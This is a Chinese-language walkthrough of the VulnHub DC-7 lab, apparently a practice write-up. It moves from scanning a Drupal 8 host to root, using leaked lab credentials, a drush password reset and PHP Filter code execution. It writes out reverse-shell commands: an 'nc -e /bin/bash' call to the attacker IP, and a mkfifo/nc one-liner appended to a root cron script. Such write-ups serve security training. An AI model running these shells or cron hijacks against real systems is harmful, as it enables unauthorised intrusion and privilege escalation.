VulnHub-DC7

- 6 mins

环境下载地址:https://www.five86.com/dc-7.html

环境搭建:

1

信息收集

探测目标IP

命令
netdiscover -r 192.168.2.0/24

目标IP为:192.168.2.156

2

命令
┌─[][root@pendo][~]
└──╼ #nmap -sP 192.168.2.0/24

3

端口扫描

利用nmap进行全端口扫描,发现开放了80和22端口

┌─[root@pendo][~]
└──╼ #nmap -sT -sV -A -T5 192.168.2.156 -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-14 23:12 CST
Warning: 192.168.2.156 giving up on port because retransmission cap hit (2).
Nmap scan report for dc-7.lan (192.168.2.156)
Host is up (0.0035s latency).
Not shown: 55495 closed ports, 10038 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA)
|   256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA)
|_  256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-generator: Drupal 8 (https://www.drupal.org)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/ 
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ 
| /user/password/ /user/login/ /user/logout/ /index.php/admin/ 
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Welcome to DC-7 | D7
MAC Address: 08:00:27:FC:24:CF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   3.46 ms dc-7.lan (192.168.2.156)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.09 seconds

访问80端口,查看CMS版本

4

网站指纹识别(插件)

5

网站指纹工具(whatweb)

发现是使用Drupal 8搭建的网站

┌─[root@pendo][~]
└──╼ #whatweb http://192.168.2.156
http://192.168.2.156 [200 OK] Apache[2.4.25], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTML5, HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.2.156], MetaGenerator[Drupal 8 (https://www.drupal.org)], PoweredBy[-block], Script, Title[Welcome to DC-7 | D7], UncommonHeaders[x-drupal-dynamic-cache,link,x-content-type-options,x-generator,x-drupal-cache], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge]

6

信息泄露

浏览器打开网站,是一个欢迎界面并给出了一个提示,提示将暴力破解和字典排除在外,需要另外的思路,发现在欢迎页面左下角有一个 “@DC7USER”,猜测是切入点

7

Google搜索,在github得到DC7USER源码,在其配置文件中获取账号密码

用户名:dc7user

密码:MdR3xOgB7#dW

8

尝试用账号密码登录SSH

命令:ssh dc7user@192.168.2.156

成功登录ssh

9

ls发现mbox邮箱,查看其内容,有一个定时任务,调用 /opt/scripts/backups.sh 文件

命令:cat mbox

10

查看backups.sh定时任务文件,发现只能由 root和www-data用户可修改

命令

cat /opt/scripts/backups.sh

ls -all /opt/scripts/backups.sh

并且发现两个命令:gpg和drush

gpg命令用来加密

drush命令是drupal框架中用来做一些配置的,它可以改变用户名密码

11

其中找到了加密的秘钥,PickYourOwnPassword

12

输入秘钥,解密出一个压缩包 website.tar.gz

13

解压 website.tar.gz ,输出 html文件夹

命令tar -zxvf website.tar.gz

14

查看html文件夹下文件

15

经查看,在 /var/www/html/sites/default/settings.php 中发现数据库信息

‘database’ => ‘d7db’,

‘username’ => ‘db7user’,

‘password’ => ‘yNv3Po00’,

16

进入数据库

17

查看表,找到user表

18

查看user表的内容,最后在 users_field_data表里发现账户 admin和dc7user

19

重置网站admin密码

hash解密失败,尝试用 drush命令重置用户密码

一开始发现没有权限执行

20

重新查看可执行文件 /opt/scripts/backups.sh 文件,发现需要在 /var/www/html 目录下执行drush命令

21

切换目录,重新重置密码,发现成功

账户密码:admin/admin

22

利用重置后的密码进行后台登录,成功登入

23

24

发现存在的账户

25

发现需要利用 Drupal 的PHP Filter模块来造成任意代码执行漏洞

Drupal 8 不支持PHP代码,Drupal 8 后为了安全,需要将php单独作为一个模块导入

PHP Filter模块下载并安装

模块下载地址:https://www.drupal.org/project/php

26

手动将下载好的压缩包导入到里面去

点击 Install new module,将下载模块包的链接添加上,点击 Install

27

插件安装成功,然后激活这个模块,点击:Enable newly added modules

28

选择 FILTERS,勾选PHP,点击Install安装

29

安装成功后提示

30

然后进入 Content,再点击Add content

31

选择 Basic page

32

写入 <?php phpinfo();?> 测试

33

漏洞利用成功

34

反弹shell

再将上面的phpinfo页面的内容改成如下

35

然后点击保存

36

开启监听,端口:9999

37

访问:http://192.168.2.156/node/4?pendo=nc -e /bin/bash 192.168.2.110 9999

38

这里直接使用 dc7user 用户做反弹,因为之前已经通过ssh登录

首先切换到交互模式shell

交互式shell命令python -c 'import pty;pty.spawn("/bin/bash")'

39

提权

在 dc7user 用户下发现的 backups.sh 文件这里就可以用到了

重新监听 9999端口(任意),等待反弹

在 /opt/scripts/ 目录下输入如下命令:

命令www-data@dc-7:/opt/scripts$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.110 9999 > /tmp/f" >> backups.sh

40

查看写入的内容

41

backups.sh文件大约每15分钟执行一次,耐心等待反弹

最终在 /root/theflag.txt 找到

42

rss facebook twitter github mail instagram linkedin